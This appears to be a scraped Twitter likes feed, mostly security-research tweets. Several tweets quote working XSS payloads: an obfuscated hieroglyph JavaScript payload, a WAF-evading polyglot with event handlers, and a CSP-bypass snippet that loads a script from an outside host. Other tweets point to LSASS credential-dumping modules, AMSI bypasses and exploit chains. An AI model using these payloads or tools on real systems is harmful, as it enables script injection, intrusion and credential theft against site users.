Ppppppppppuu @SuperSyts

Joined March 2018

Tweets

43
Followers

9
Following

297
Likes

24

Livid 🦇🔊 @Livid

2 years ago

Feeder.co is a very nice RSS reader with browser extension

1 4 25 6K 13

Download Image

Julian (Jiayuan) Zhang @tisoga

2 years ago

今天早上的论文阅读工作流： 1. 挑选出想读的论文链接 2. 直接批量复制到 Copilot Hub Reader 中 3. 挑选一篇论文开始让 agent 分析 4. 对于论文中的具体细节截图提问整个流程非常丝滑，大大缩短了「了解」一篇论文的时间。

Julian (Jiayuan) Zhang @tisoga

2 years ago

今天早上的论文阅读工作流： 1. 挑选出想读的论文链接 2. 直接批量复制到 Copilot Hub Reader 中 3. 挑选一篇论文开始让 agent 分析 4. 对于论文中的具体细节截图提问整个流程非常丝滑，大大缩短了「了解」一篇论文的时间。 https://t.co/jze4mKZc42

20 173 508 232K 312

Download Image

20 171 436 81K 268

Download Video

Yaniv Nizry @YNizry

4 years ago

Stay tuned for a blogpost ;)

79 331 1K 0 70

Download Image

Lately, two new tools for dumping the lsass process have come up: HandleKatz and nanodump 👀 I've integrated them to CrackMapExec as module: 1⃣ -M handlekatz 2⃣ -M nanodump 3⃣ -M procdump (as bonus 😝) (dmp parsed by pypykatz from @SkelSec ) Available on @porchetta_ind 🪂

4 266 731 0 121

Download Image

adr @aaaddress1

4 years ago

want a totally fileless EXE? write a ghosting-launcher in ~200 lines! github.com/aaaddress1/PR0…

1 208 546 0 119

Download Image

mpgn @mpgn_x64

5 years ago

Running your own custom AMSI bypass on CrackMapExec is always better when using powershell 😌😋 Pushed to master branch for sponsorware and will be on the menu for the next release into kali✌️

4 111 433 0 34

Download Image

XSS Payloads @XssPayloads

5 years ago

Hieroglyph-based payload by @aemkei ! 𓅂='',𓂀=!𓅂+𓅂,𓁄=!𓂀+𓅂,𓊎=𓅂+{},𓆣=𓂀 [𓅂++],𓊝=𓂀[𓇎=𓅂],𓏢=++𓇎+𓅂,𓆗=𓊎[𓇎+𓏢 ],𓂀[𓆗+=𓊎[𓅂]+(𓂀.𓁄+𓊎)[𓅂]+𓁄[𓏢]+𓆣+ 𓊝+𓂀[𓇎]+𓆗+𓆣+𓊎[𓅂]+𓊝][𓆗](𓁄[𓅂]+𓁄[ 𓇎]+𓂀[𓏢]+𓊝+𓆣+'`𓅂 𓏢 𓂀 𓁄 𓆣 𓊝 𓇎`')``

16 183 620 0 71

[email protected] @CodeColorist

6 years ago

Been almost a year after I discovered this guest remote code execution on Fusion 11.x-11.0.2 and there is already a writeup by @theevilbit: theevilbit.github.io/posts/vmware_f… I'll be presenting more notes on reverse engineering this bug at #realworldctf tech forum.

1 86 223 0 21

Download Video

RIVER @wugeej

7 years ago

3) javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*<svg/*/onload=alert()//> 4) <input onfocus="alert(0);" autofocus> Obfuscated payload. It bypasses lots of WAF.

1 4 3 0 1

Samuel Groß @5aelo

7 years ago

My #pwn2own exploit chain from this year, essentially 3 logic bugs to go from Safari to kernel on macOS up to 10.13.3, is now open source: github.com/saelo/pwn2own2…. The README also links to a few slide decks which contain some more background information :)

8 456 911 0 53

XSS Payloads @XssPayloads

7 years ago

CSP Bypass by @Rhynorater d=document;f=d.createElement("iframe");f.src=d.querySelector('link[href*=".css"]').href;d.body.append(f);s=d.createElement("script");s.src="rhy.xss.ht";setTimeout(function(){f.contentWindow.document.head.append(s);},1000)

0 57 126 0 8

Darkoperator | 🇺🇦 @Carlos_Perez

7 years ago

Improvised electric pick

31 283 1K 0 32

Download Video

☣ KitPloit - Hacker Tools @KitPloit

7 years ago

#GitMiner v2.0 - Tool For Advanced Mining For Content On Github goo.gl/oSYXEd

2 36 66 0 2

Download Image

Anon @0dayDB

7 years ago

#Linux kernel 4.18.1 CVE-2018-15572 – Privilege Escalation 0day.city/cve-2018-15572… #ZeroDayExploit #0day #ZeroDay #ZeroDayAttack #Exploit #Security #Exploits

0 2 1 0 0

pyn3rd @pyn3rd

7 years ago

Machine Learning is utilized to detect XSS

8 16 57 0 1

Download Image

heige @80vul

7 years ago

This is a tragedy for Weblogic RMI deserialization, the Oracle Critical Patch Update July 2018 have been bypassed and RCE again by knownsec 404 team. What is the next CVE? CVE-2015-4852->CVE-2016-0638->CVE-2016-3510->CVE-2017-3248->CVE-2018-2628->CVE-2018-2893->CVE-2018-????